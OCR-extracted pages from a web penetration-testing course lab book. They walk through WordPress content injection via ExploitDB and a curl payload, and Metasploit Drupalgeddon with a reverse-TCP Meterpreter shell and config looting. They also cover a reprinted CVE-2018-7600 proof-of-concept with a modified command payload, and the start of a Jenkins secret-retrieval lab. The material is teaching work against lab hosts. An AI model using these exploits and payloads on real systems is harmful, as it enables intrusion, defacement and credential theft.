7- We have discovered the directory/url: https //www.sec542.0rg/pwn/ .
8. Be sure to surf there in a browser to see if there's anything interesting.
9. Remember that we have copies of the scripts, so you can check your work:

+ /home/student/Desktop/python/challenge1.py

+ /home/student/Desktop/python/challenge2.py

1. Stop the Heartbleed Docker container by typing the following command in a terminal and then close both terminals:

stop-containers.sh

2. That wraps up our lab! Note that we have added an advanced Python bonus challenges in an appendix at the end of the 542.5
book. Feel free to work on this lab during breaks or after class.

3. The challenge includes:

« Write a Python script to launch a John-the-Ripper style hybrid password-guessing attack against a website using Basic
Authentication

References

[1] https://www.python.org/dev/peps/pep-0020/

[2] https://lukasa.co.uk/2013/01/Choosing_SSL_Version_In_Requests/
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Exercise 5.3 - WPScan and ExploitDB

Objectives

+ Remotely determine the version of a WordPress site.
+ Leverage WPScan and ExploitDB to analyze the security of a WordPress site.
+ Use the results of WPScan and ExploitDB to guide exploitation.

+ Use an ExploitDB exploit to alter an existing post on the WordPress site.

Challenges

Target: https://www.sec542.org/wordpress/

+ Determine the version of WordPress running on the site.
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Solution

1. Open Firefox and surf to: https://www.sec542.org/wordpress/.

<)> C @ | © @ hopsiwsecsa2orgiwordpress - @ 1] LinDo @

2. By default, the version of WordPress is shown in the source code of the home page. You may view the source by pressing CtrL=U (warning: there is a lot of source code).
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«) > C % [(D view-source:https:/www.sec542.org/wordpress/ wee g v IiIN D O @

<!DOCTYPE html>

<html lang="en-US" class="no-js no-svg">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="http://gmpg.org/xfn/11">

<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Wordpress &#8211; Just another Security 542 WordPress site</title>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch’' href='//s.w.org' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<link rel="alternate" type="application/rss+xml" title="Wordpress &raquo; Feed" href="https://www.sec542.org/wordpress/feed
<link rel="alternate" type="application/rss+xml” title="Wordpress &raquo; Comments Feed" href="https://www.sec542.org/wordpl
<script type="text/javascript">
window. wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/2.2.1\/72x72\/", "ext":".png", "svg
{function(a,b,c){function d(a){var b,c,d,e, f=String.fromCharCode;if('k||!k.fillText)return!1;switch(k.clearRect]
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: lem !important;
width: lem !important;
margin: @ .87em !important;
vertical-align: -0.lem !important;
background: none !important;
padding: 0 !important;

}
</style>

<link rel='stylesheet' id='twentyseventeen-fonts-css' href='https://fonts.googleapis.com/css?family=Libre+Franklin%3A300%2
<linkyrel='stylesheet' id='twentyseventeen-style-css' href=' - ’ 42.0r rdpr -con wen

3. The WordPress version is shown inthe generator metatag (unless removed by the site). You may search the source code ( Ctr1-F)for generator toseethe

version. This curl command will also show it. The =S flag is for "silent" (which does not show the progress meter):

curl -s https://www.sec542.org/wordpress/ | grep generator

=

¥ : _ _ Terminal - student@Security542: ~ = 3
File Edit View Terminal Tabs Help:

[~]1$ curl -s http://www.sec542.org/wordpress/ | grep generator
<meta name="generator" content="WordPress 4.7.1" /> *

[~15 U

+ Use WPScan to check for exploits that match the version of wordpress.
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Solution

1. We have two tools at our disposal:
+ WPScan
+ Will scan for (potential) security vulnerabilities, with links to outside resources
+ Often finds dozens of vulnerabilities
+ ExploitDB
+ Will scan for (potential) security vulnerabilities, and provide local exploits

« Will typically find fewer vulnerabilities than WPSscan

2. Open a terminal and run WPScan against the WordPress site (the ——no—update flag tells WPScan to not check for updates). Do not update WPScan now (which could
impact this lab), but feel free to update WPScan after class is complete.
wpscan --no-update --url https://www.sec542.org/wordpress/
3. Whoa, that is a lot of output! Let's narrow it down a bit by searching for Title (which describes each vulnerability).
wpscan —--no-update —-url https://www.sec542.org/wordpress/ | grep Title

4 That s still a lot of output, so let's count the titles with WC =L (word count), the =L (that is the lowercase letter L , not the number one) flag is for "lines".

wpscan --no-update --url https://www.sec542.org/wordpress/ | grep Title | wc -1

- Terminal - student@Security542: ~ - X
File' Edit View Terminal Tabs Help

[~1% \#pscan --no-update --url http://www.sec542.org/wordpress/ | grep Title | wec -1
44

ENEY |

&)

. There were 44 "Titles" when this screenshot was taken.

Note

Your number may vary if you updated WPScan.

6. Many of these potential vulnerabilities depend on specific configurations that may not apply to our WordPress installation. ExploitDB tends to find fewer vulnerabilities, which are
often more actionable. Plus: it provides a local exploit that can be attempted right away. Let's try it!

+ Run searchsploit against the site, correlating the WPScan vulnerability with a matching ExploitDB vulnerability.
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Solution

1. Use ExploitDB to search for WO rdpress and 4.7 .1 (the WordPress version we discovered previously):

/opt/exploitdb/searchsploit wordpress 4.7.1

File Edit View Terminal Tabs Help:
[~]1% /opt/exploitdb/searchsploit wordpress 4.7.1

Exploit Title | Path
| (/opt/exploitdb/)
ss 4.7.0/4.7 - Content Injection (Python) | exploits/linux/webapps/41223.py
- 4.7.8/4.7.1 - Content Injection (Ruby) | exploits/linux/webapps/41224.rb
< - Username Enumeration | exploits/php/webapps/41497.php

Shellcodes: No Result
~1s il

- Terminal - student@Security542: ~ -+ ¥

2 The ruby Unauthenticated Content Injection may work. Let's see if WPScan found the same flaw. Type the following, searching for Title, followed by content (case

insensitive):

wpscan —--no-update --url https://www.sec542.org/wordpress/ | grep Title | grep -i content

e Terminal - student@Security542: ~ ==Y
File Edit View Terminal Tabs Help:

[-1% wpscan --no-update --url http://www.sec542.org/wordpress/ | grep Title | grep -i content
| [!] Title: WordPress 4.7.8-4.7.1 - Unauthenticated Page/Post ntent Modification via REST API

~15 N

3. That looks like it matches our ExploitDB exploit, so let's try it.

+ Use an exploit to alter an existing post on the WordPress site.
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Solution

1. Try the exploit by running the following command (note that this will require information we will determine in a following step):

ruby /opt/exploitdb/exploits/linux/webapps/41224.rb

g _ Terminal - student@Security542: ~ —
File' Edit View Terminal Tabs Help

[~1% ruby /opt/exploitdb/exploits/linux/webapps/41224.rb

Enter Target URI (With wp directory)

http://www.sec542 .org/wordpress/

Enter Post 1D H

2. Looks like it requires two pieces of information: the URI (https://www.sec542.org/wordpress/), and a post ID.

3 Type Ctr1—-C to stop the script as the post ID is unknown. The post ID may be determined with this curl command:

curl https://www.sec542.org/wordpress/wp-json/wp/v2/posts |less

s Terminal - student@Security542: ~

File Edit View Terminal Tabs Help
[{"id":4,"date":"2017-02-13T14:20:47","date_gmt":"2017-02-13T14:20:47", "guid": {"render|
ed":"http:\/\/www.sec542 . .org\/wordpress-471\/?p=4"}, "modified":"2019-05-36T18:34:27","
modified gmt":"2019-05-30T18:34:27","slug":"this-post-is-unhackable","type":"post","11i
nk":"http:\/\/www.sec542.org\/wordpress\/this-post-is-unhackable\/","title":{"rendered
":"This post is unhackable!!"},"content":{"rendered":"<p>Good luck hacking this post &
#8211; this site is wicked secure!<\/p=\n","protected":false}, "excerpt":{"rendered":"<
p>Good luck hacking this post &#8211; this site is wicked securel!<\/p>\n", "protected":
false}, "author":1,"featured media":0,"comment status":"open","ping status”:"open","sti
cky":false,"template":"","format":"standard", "meta":[], "categories":[1],"tags":[]," 1i
nks":{"self":[{"href":"http:\/\/www.5ec542.0org\/wordpress\/wp-json\/wp\/v2\/posts\/4"}
1,"collection": [{"href":"http:\/\/www.sec542.org\/wordpress\/wp-json\/wp\/v2\/posts"}]
JMtabout":[{"href":"http:\/\/www.sec542.org\/wordpress\/wp-json\/wp\/v2\/types\/post"}]
,"author":[{"embeddable" :true, "href" :"http:\/\/www.sec542.0rg\/wordpress\/wp-Jjson\/wp\
Jv2\/users\/1"}],"replies": [{"embeddable":true, "href":"http:\/\/www.sec542 .org\/wordpr
ess\/wp-json\/wp\/v2\/comments?post=4"}],"version-history":[{"href":"http:\/\/www.sec5
42 .org\/wordpress\/wp-json\/wp\/v2\/posts\/4\/revisions"}], "wp:attachment":[{"href":"h
ttp:\/\/www.sec542.org\/wordpress\/wp-json\/wp\/v2\/media?parent=4"}], "wp:term": [{"tax
onomy": "category", "embeddable":true,"href":"http:\/\/www.sec542.0rg\/wordpress\/wp-jso

nom

n\/wp\/v2\/categories?post=4"},{"taxonomy":"post_tag", "embeddable":true,"href":"http:\

/\/vwww.sec542 . org\/wordpress\/wp-json\/wp\/v2\/tags?post=4"}], "curies":[{"name": "wp",

4 postID4("1d" 24 inthe upper left corner) contains the subject This post is unhackable!... We will hack that post.

5 Press q toexit less.

6. First, view the matching post in Firefox. Surf to https://www.sec542.org/wordpress/, scroll down to see the matching "unhackable" post, and click on it:
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-~

WORDPRESS

Just an&her Secur'rty*j*‘l_’ JordPress site

%

POSTS
FEBRUARY 13, 2017
This post is unhackable!! Search... n
Good luck hacking this post - this site is wicked secure!
RECENT POSTS

This post is unhackable!!

7. Then run the following command in a terminal:

ruby /opt/exploitdb/exploits/linux/webapps/41224.rb

8 Thenenter https://www.sec542.org/wordpress/ asthetargetURland 4 asthe Post ID.

=

g Terminal - student@Security542: ~

File Edit View Terminal Tabs Help

[~1% ruby /opt/exploitdb/exploits/linux/webapps/41224.rb
Enter Target URI (With wp directory)

http://www.sec542 .org/wordpress/

Enter Post ID

4 A
Done! "http://www.sec542.org/wordpress//index.php?p=4' ‘

-15 B

9. Surf to this URL in Firefox again, and view the altered post as an unauthenticated user.

https://www.sec542.org/wordpress/

10. If Firefox is already open on this page from a previous step, simply reload the page. Scroll down to see the following:
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FEBRUARY 13, 2017 BY ADMIN

You have been hacked Search... m

Hacked please update your wordpress version
RECENT POSTS

You have been hacked

. The following one-line cUr’L command contains the exploit (type as one continuous line). This command will re-alter post 4 with the title and content of your choice:

curl --data "id=4xxxxx&title=PWNED&content=Epic PWNAGE" https://www.sec542.org/wordpress/
index.php/wp-json/wp/v2/posts/4

12 This requires id=4 followed immediately by a bunch of non-numbers (five x's in this case), and the URL must end in the same id (4).

13. Reload the following page in Firefox: https://www.sec542.org/wordpress/

14. Scroll down to see the following:

Howdy, admin - QL

FEBRUARY 13, 2017 BY ADMIN

PWNED oo Q.

Epic PWNAGE
RECENT POSTS

PWNED

m Hello world!
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Exercise 5.4 - Metasploit

Objectives

+ Gain hands-on experience with Metasploit Framework for application testing
+ Learn to navigate msfconsole

+ Use Metasploit to exploit the Drupalgeddon vulnerability

+ Work with the PHP Meterpreter payload

+ Research the Drupalgeddon?2 vulnerability.

+ Use a PoC (Proof-of-Concept) script to exploit Drupal on: http://172.23.0.2/.
+ Proxy the PoC script via Burp and investigate how it works.

» Understand Burp's smart decode.

« Alter the PoC exploit using Burp.

‘

ab Setup

1. Open a terminal and start the Drupal container (leave this terminal session open until the conclusion of the lab).

/labs/drupal.sh

2. Open another terminal and start the Drupal2 Container (also leave this terminal session open until the conclusion of the lab).

/labs/drupal2.sh

3. Open a third terminal and start the Metasploit console:

msfconsole

4. Enjoy the ASCII art, and note that yours may be different. Type banner to enjoy more.
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# cowsay++

< metasploit >

=[] metasploit v5.0.25-dev-
+ -- --=[ 1894 exploits - 1068 auxiliary - 329 post
+ -- --=[ 547 payloads - 44 encoders - 10 nops
+ -- --=[ 2 evasion

[ S R R R

Challenges

Perform the following steps with msfconsole :

* Exploit Drupal on http://drupal.sec542.org with a php/meterpreter/reverse_tcp payload.
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Solution

Metasploit/Drupalgeddon Step-by-Step

1. Type the following commands in msfconsole:

use exploit/multi/http/drupal_drupageddon
set RHOST drupal.sec542.org

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.42.42.42

exploit

Type PHP Meterpreter Commands

1. Wait for the meterpreter> prompt It may take a little while to appear.

2. Then type the following commands at the meterpreter> prompt:

getuid
sysinfo

3. Then, background the session and make note of your session number:

background

=

A Terminal - student@Security542: ~ S
File Edit View Terminal Tabs Help

meterpreter > background ‘____._——— =
[*] Eackgrﬂundlng 5&5510n i ] e
msf5 exploit(m http/drupal_drupageddon) > |

4 The session IDis 1 in the ascreenshot above, but yours may be different if you attempted multiple Meterpreter sessions. Please use your session ID in the upcoming examples.

5. If you have used Windows Meterpreter, PHP Meterpreter has far less functionality as of now. It is also much newer and under active development.

Note

The next command will generate 'Failed to open file:' errors for any files that do not exist (such as /etc/snmp/snmp.conf).
These errors are harmless and may be ignored.

6. Type the following and replace with your session ID in the previous step:

setg session <session ID>

7. Then type the following:

use post/linux/gather/enum_configs
run
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x Terminal - student@Security542: ~ -+ ¥

File E'éit view Terminal Tabs Help:
msT5 exploit(multi/http/ al drupageddon) > setg session 1
session => 1

msfS5 exploit(mul

pal_drupa ) > use post/linux/gather/enum_configs
msf5 post( x/gather/enum_configs) > run

[*] Running module against 172.20.0.3 [2009bcfbaeca]

[*] Info:
£*] Debian GNU/Linux 8
[*] Linux 2009bcfbaeca 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86 64 GNU/Linux

apache2.conf stored in /home/student/.msf4/loot/20190614110613 default 172.20.0.3_linux.enum.conf_ 26
6773 . txt
[+] ports.conf stored in /home/student/.msf4/1lo0t/20190614110613 default 172.20.0.3_linux.enum.conf_ 1785
83.txt

Failed to open file: /etc/nginx/nginx.conf: core channel_open: Operation failed: 1

Failed to open file: /etc/snort/snort.conf: core channel open: Operation failed: 1

Failed to open file: /etc/mysql/my.cnf: core channel_open: Operation failed: 1

Failed to open file: /etc/ufw/ufw.conf: core channel open: Operation failed: 1

8. Try others:

use post/linux/gather/enum_network
run

9- All looted files will be savedto /home/student/.msf4/loot/ .

10. it msfconsole .
exit -y

« Exploit Drupalgeddon2 on this Drupal server: http://172.23.0.2/
+ Proxy the PoC exploit via Burp to better understand the exploit

+ Use Burp to intercept the PoC exploit to run the id command on the Drupal server

Some Hints

* You may research the flaw here: https://blog.rapid7.com/2018/04/27/drupalgeddon-vulnerability-what-is-it-are-you-impacted/.

+ Googling "CVE-2018-7600" is also helpful.

* The PoC exploit is available locallyin /labs/exploit.py .

+ The PoC exploit is also available online at https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py.
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Solution

1. View the PoC exploit in gedit, to get a better understanding of how it works:

gedit /labs/exploit.py

Open v u “;ﬁ::"“ Save ‘MI = + X

'/usr/hln/env python3
import sys
import requests

print (' FEEE Hd FEH AR A faa A HEEEE )
print (' # Proof-0f-Concept for CVE-2018-7600')

print ('# by Vitalii Rudnykh')

print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# htips: //glthub cnm/aZu/(VE 2018- ?600 )

print ('###8 S i e i #')
print (' Pr0v1ded nnly f0| educational or information purposes\n')

target = input('Enter target url (example: hitps://domain.ltd/): ')

Add proxy support (eg. BURP to analyze HTTP(s) traffic)
set verify = False if your proxy certificate is self signed
remember to set proxies both for http and https

example:

proxies = {'http': ‘'htip://127.8.6.1:8088', 'https': 'hitp://127.0.0.1:8080'}
# verify = False

proxies = {}

verify = True

#
#
#
#
#
#

url = target + ‘'user/register?element parents=account/mail/
%23valuefkajax form=1& wrapper format=drupal ajax’

payload = {'form id': 'user register form', ' drupal ajax': 'l', 'mail[#post render][]':
'‘exec', 'mail[#type]': 'markup', 'maill#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status code != 200:
sys.exit("Not exploitable")
print (‘'\nCheck: ‘'+target+'hello.txt')

Python3 v TabWidth:8 Ln1, Col 1 * NS

2 Notethe payload .

payload = {'form_id': 'user_register_form', '_drupal_ajax': 'l1', "mail[#post_render][]':
'exec', "mail[#type]': 'markup', '"mail[#markup]': 'echo "3;-)" | tee hello.txt'}

3. This is the (harmless) command the PoC exploit runs:

'echo "3-)" | tee hello.txt'

4 Thatwill @cho the string H —) ,and tee hello.txt which results inthe string being written to STDOUT (on the webserver, not the attacker's client), and also written
to afile called hello.txt . The penetration tester can then verify the exploit was successful by downloading hello . txt from the vulnerable Drupal server.

5. As noted: this command is harmless, but it proves the exploit worked.

6. Let's run the PoC exploit. Open a new terminal and type the following:

/labs/exploit.py

368 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

7.Enter https//172.23.0.2/ andpress Enter .

Warning

THE TRAILING SLASH IS REQUIRED, OTHERWISE THE SCRIPT WILL REPORT "NOT EXPLOITABLE".

- Terminal - student@Security542: - =
File Edit WView Terminal Tabs Help’

[~1% /labs/exploit.py

B b L e e L e s L b b L i e e

# Proof-0f-Concept for CVE-2018-7600

# by Vitalii Rudnykh

# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders

# https://github.com/a2u/CVE-2018-7600

HH RS S R S R R R R R R R R R
Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://172.23.0.2/

Check: http://172.23.0.2/hello.txt
[~1s B

8. Lets verify the exploit worked by downloading hello.txt :

curl http://172.23.0.2/hello.txt

-

Terminal - student@sec542: ~ = G
File Edit View Terminal Tabs Help

[~]1$ curl http://172.23.0.2/hello.txt
i-)
[~1s N

9. It worked! Now let's proxy the PoC via Burp, and change the command that is run. We would also simply edit the PoC script, but using Burp will allow us to explore some useful
features, including using Burp's decoder.

Start Burp Pro

1. In the SEC542 Linux VM, open Burp Pro.

File System

2. Wait for Burp Pro to launch.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.
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3 Run one instance of Burp pro only. Multiple instances of Burp Pro are running if you see the warning below.

Note

If you only have one instance running, you should not expect to see the popup below.

v

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019
Tue May 28 15:11:08 PDT 2019
Tue May 28 15:08:15 PDT 2019
Tue May 28 15:46:13 PDT 2019

Delete old temporary files? X

/tmp/burp3936178803653028771.tmp
Jtmp/burp17790170802505851378.tmp
Jtmp/burp305967424870421416.tmp
Jtmp/burp4042600176303109235.tmp

Delete

instances and start over.

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port
8080 because it is in use by another instance.

4. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the default option of Load from configuration file).

Edit the Script

T-copy /labs/exploit.py to /labs/exploit2.py ,and edittoenable proxying via Burp. Editing a copy is safer than editing the original file, since a mistake

will not break the original.

sudo cp /labs/exploit.py /labs/exploit2.py
sudo gedit /labs/exploit2.py
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] Open | » || + Iﬂﬂﬂﬂ.ﬂ | Save “ L h - + =

1 b!/usr/h:.n/ei‘iv python3
2 import sys

3 import reguests

4

Biprint (' #REHRHEEE R e i )
6 print ('# cept for CVE-2018-7600'})

7 print ('#

Bprint ('# , RicterZ, FindYanot, CostelSalanders')
g print ('# | -2018-7600" )

18 print ('# e )
33 print ('Provided only for educational or information purposes\n')

12

13 target = input(‘Enter target url (example: https://domain.ltd/): *)

14

15 # Add proxy support (eg. BURP to analyze HTTP(s) traffic)
16 # set verify = False if your proxy certificate is self signed

17 # remember to set proxies both for http and https

18 #

19 # example:

20 # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
21 # verify = False

22 proxies = {}

23 verify = True

24

25 url = target + 'user/register?element parents=account/mai

ax form=1& wrapper format=drupal ajax

26 payload = { for ', drupal & er][]': ‘exec',

mail[#type] echo ":-)"
27
28 r = requests.post(url, proxies=proxies, data=payload, verify=verify)
29 check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
38 if check.status code != 2080:
31 sys.exit("Not exploitable")
32/ print ('\nCheck: '+target+'hello.txt’)

Python3 w  TabWidth:8 = Ln1,€al1 > INs

2. Change the four lines highlighted in the screenshot above, currently set to:

# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080"'}
# verify = False

proxies = {}

verify = True

3. Uncomment the first two lines, and comment the next two. Change to the following:

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
verify = False
# proxies = {}
# verify = True
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# Add proxy support (eg. BURP to analyze HTTP(s) traffic)

# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#

# example:

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
verify = False

# proxies = {}|

# verify = True

4 savethefilein gedit and exit.

Intercept and alter the Exploit

1. Go to Burp's Proxy -> Intercept tab and turn Intercept on:

2 run /labs/exploit2.py:

/labs/exploit2.py

3-Enter https//172.23.0.2/ andpress Enter .

4. Burp should show the intercepted exploit. The intercepted exploit is shown in the Proxy -> Intercept window.

> Burp Suite Professional v2022.6.1 - Temporary Project - licensed to trial user [single user license]
Burp Project Intruder Repeater Window Help

Dashboard Target Prowy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options

HTTP history WebSockets history Options

Re-enable

_{,‘9 Request to http://172.23.0.2:80

Forward Drop Action | Open Browser

Raw Hex = Rl

POST fuser/register?element parents=account/mail /%23valussajax_form=1& wrapper_format=drupal_ajax HTTP/L.1
Host: 172.23.0.2

User-Agent: python-requests/2 27.1

Accept -Encoding: gzip, deflate

Accept; */4

Connection: close

Content-Length: 158

Content-Type: application/x-www-form-urlencoded

W ~lmn s wn -

0 form_id=user_register_form& drupal_ajax=1&mail%5B%23post_render%SD%5B%S0=execinail %56% 23t ypekSh=markup&nail%5B%23markupssh=
echo+%22%3B-%29% 22+% 7C+tee+hello txt

=

5. Note that the exploit uses HTML encoding.

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%
%22%3B-%29%22+%7C+tee+hello.txt

6. Use Burp's Smart Decode to decode the exploit. Highlight the exploit in the Raw Request tab, right-click and then choose Send to Decoder.
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~ Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588 1916656075¢c474c42dd [1 user| — + X

Burp Project Intruder Repeater Window Help

Repeater Sequencer Decoder Comparer Extender Project options User-options
Dashboard Target Proxy Intruder
Intercept HTTP history Web5ockets history Options

3 out-of-scope Proxy froffic is d

bied | Re-enable

f Request to httpy//172.23.0.2:80

| ;
. | Scan EE—
| Forward | | Drop Action | U i _ REm W @
. 4 _ 'y passive scan =
Pretty m \n Actions W | Do active scan =
1 POST fuser/register?element parents=account /mail /%23valuekajax Send to Intruder Crll l@x HTTP/L.1
2 Hest: 172.23.0.2 =
Send to R i Ctri-R =
3 User-Agent: python-requests/2.22.0 M Rppeater ! i
4 Accept-Encoding: gzip. deflate Send to Sequencer 5
S Accept; */%
& Connection: close Send 1o Compares g
7 Content-Length: 152 Send to Decoder
& Content-Type: application/x-www-form-urlencoded
g | Request in browser  ; |
10 form_id=user_register_form& drupal aj ax=1&mail%5B%23post _rende Engagement tools 5 Emarkup&

mail%5B%23markup%Si=echo+%22%3B- %2922+ % 7C+teethel Lo . txt
Change request method

Change body encoding

@@ |E”E| | Al | Copy URL j 0 matches

Go to the Decoder tab, which now shows the exploit.

~

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder
Repeater Sequencer Decoder Comparer Extender Project options User options
form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23typedSD=n OText Hex ®
| Decode as ... v ‘
| Encodeas ... v ‘
| Hash ... v ‘
| Smart decode ‘

¥ Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588_1916656075c474c42dd [1 user] — + X k‘

8. Click Smart Decode, which will show the decoded exploit.
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0

10.

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy

Repeater Sequencer Decoder Comparer Extender Project options

Intruder

User options

¥ Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588_1916656075c474c42dd [1 user] — + X k‘

-=exec&mail-type-=markup&mail_markup.:echo-_+tee+helIoAtxt o Text Hex @
| Decode as ... v ‘
| Encodeas ... v ‘
| Hash ... v ‘
| Smart decode ‘
| form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo ";-)" | +tee+hello.txt o Text Hex
| Decode as ... v ‘
| Encodeas ... v ‘
| Hash ... v ‘

Smart decode

Highlight the command @cho " 3=)"" (as shown here):

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo ";-)" |+tee+hello.txt

Changeto id :

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#typel=markup&mail[#markup]=id |+tee+he|lo.txﬂ

11. Notice that a third decode box opens, allowing us to re-encode our command. This is often unnecessary, so let's try the decoded payload.

12.

Highlight the exploit from the middle Decoder box, and press Ctr1=C to copyit.
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form_id=user_register form& drupal_ajax=1&mai SEEEEErost_rende rlEDEISEEEEE == e c&ma | EEmty e BBl = arkup&mail e e

o == o IS RNRG + <=+ hello.txt

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#typel=markup&mail[#markup]=id |+tee+hello.txt

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#typel=markup&mail[#markup]=id |+tee+hello.txt

13. Then switch to the Proxy -> Intercept window, and replace the exploit with the pasted version. Then turn Intercept off.

> Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588 1916656075c474c42dd [1 user license] =
Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User aptions

HTTP histary Web5ockets history Options

pt
Logiing of eut-Sf-scope Froxy traffic is disabied | Re-enable |

f Request to http://172.23.0.2:80

| Forward | | Drop

Fretty W1 Actions

POST fuser/register?element_parents=account/mail ¥25va
Host: 172.23.0.2

User-agent: python-requestsy2.22.0

Accept-Encoding: gzip, deflate

Accept: */#%

Connection: close

Content-Length: 159

Content-Type: application/x-www-form-urlencoded

jax_form=1& wrapper_format=drupal_ajax HTTP/1.1

@ L L R

0.0~

form_id=user_register_ formé&_ drupal_ajax=1l&mail [#post_render][l=execimail [#typel=markup&mail[#markupl=id |+tee+hello txt

[

| 0matches

O GEE

| | Open Browser | markupl=id |+tee+hello.txt | W @

HOL1D3dSNI

T4. Return to the terminal that is running the /Labs /exploit2.py command, and note that is has completed. Then download https//172.23.0.2/

hello.txt via curl:
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-

Terminal - student@Security542: ~ - X
File' Edit View Terminal Tabs Help:

[~1% /labs/exploit2.py
B G SIS B i i S i

# Proof-0f-Concept for CVE-2018-7600

# by Vitalii Rudnykh

# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders

# https://github.com/a2u/CVE-2018-7600

RS S I R S S I I S

Provided only for educational or information purposes

Enter target url (example: https://domain.ltd/): http://172.23.0.2/

Check: http://172.23.0.2/hello.txt

[~]1% curl http://172.23.0.2/hello.txt

uid=33(www-data) gid=33(www-data) groups=33(www-data) H
-1s B

15. Boom! We successfully altered the command run by the PoC exploit.

1. Stop the Drupal Docker containers by typing the following command in a terminal and close all terminal windows:

stop-containers.sh
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Exercise 5.5 - Nuclei and Jenkins

Objectives

+ Get familiar with following attack techniques:
+ Password bruteforcing
*Using nuclei
*+ Metasploit
+ Jenkins and the way it stores secrets

» The admin account on the Jenkins instance stored a secret that contains Marvin's critical password. Retrieve the plaintext

password.

Lab Setup

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

2. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the
default option of Use Burp Defaults)

3. Wait for Burp Pro to launch.

4. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja 377


https://technet24.ir

Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

5. Open a terminal and start the Docker container by typing the following command:

/labs/jenkins.sh
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= Terminal - student@sec542: ~ - 4+ X
File Edit View Terminal Tabs Help

[~]1% /labs/jenkins.sh

jenkins home

jenkins_home

Running from: /usr/share/jenkins/jenkins.war

webroot: EnvVars.masterEnvVars.get("JENKINS HOME")

2022-07-06 18:28:44.344+0000 [id=1] INFO org.eclipse.jetty.util.log.Log#initialized: Logging initialized @664ms
to org.eclipse.jetty.util.log.JavaUtillog

2022-07-06 18:28:44.433+0000 [id=1] INFO winstone.lLogger#logInternal: Beginning extraction from war file
2022-07-06 18:28:44.468+0000 [id=1] WARNING o.e.j.s.handler.ContextHandler#setContextPath: Empty contextPath
2022-07-06 18:28:44,535+0000 [id=1] INFO org.eclipse. jetty.server.Server#doStart: jetty-9.4.45.v20220203; built
1 2022-02-03T09:14:34.105Z; git: 4a0c91cPbe53805e3fcffdcdcc9587d5301863db; jvm 11.0.15+10

2022-07-06 18:28:44.937+0000 [id=1] INFO o.e.j.w.StandardDescriptorProcessor#visitServlet: NO JSP Support for /
, did not find org.eclipse.jetty.jsp.JettylspServlet

